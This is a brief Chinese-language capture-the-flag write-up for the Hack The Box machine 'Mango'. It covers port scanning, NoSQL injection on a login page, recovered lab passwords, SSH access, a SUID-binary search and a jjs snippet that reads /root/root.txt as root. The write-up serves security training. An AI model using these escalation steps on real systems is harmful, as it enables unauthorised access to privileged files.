Mango
Mango
不知道为啥，做了这几个里面这个超级卡，基本没啥反应的那种
nmap扫描端口
同时发现了一个网址：在 443 端口 staging-order.mango.htb
vim /etc/hosts，把 10.10.10.162 staging-order.mango.htb
访问得到一个登录框
nosql 注入
先了解一些 mangodb 在 web 知识库补充
有个专门爆破用户名和密码的脚本：https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
太慢了，就直接用大佬的结果了
mango：h3mXK8RhU~f{]f5H
admin：t9KcS3>!0B#2
可以直接用 ssh 登录到 ssh mango@10.10.10.162
su admin 切换到 admin 用户
在 admin 的目录下面找到 user.txt
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
可以发现 jjs 是用 root 运行的
运行 jjs
这样输入：
var filename = "/root/root.txt";
var content = new java.lang.String(
java.nio.file.Files.readAllBytes(
java.nio.file.Paths.get(filename)
)
);
print(content)
就可以拿到 root.txt
实在是佩服这个网，连不上，不截图了，也没发交 flag 了 Orz
参考：https://rmccarth.info/post/htb/mango/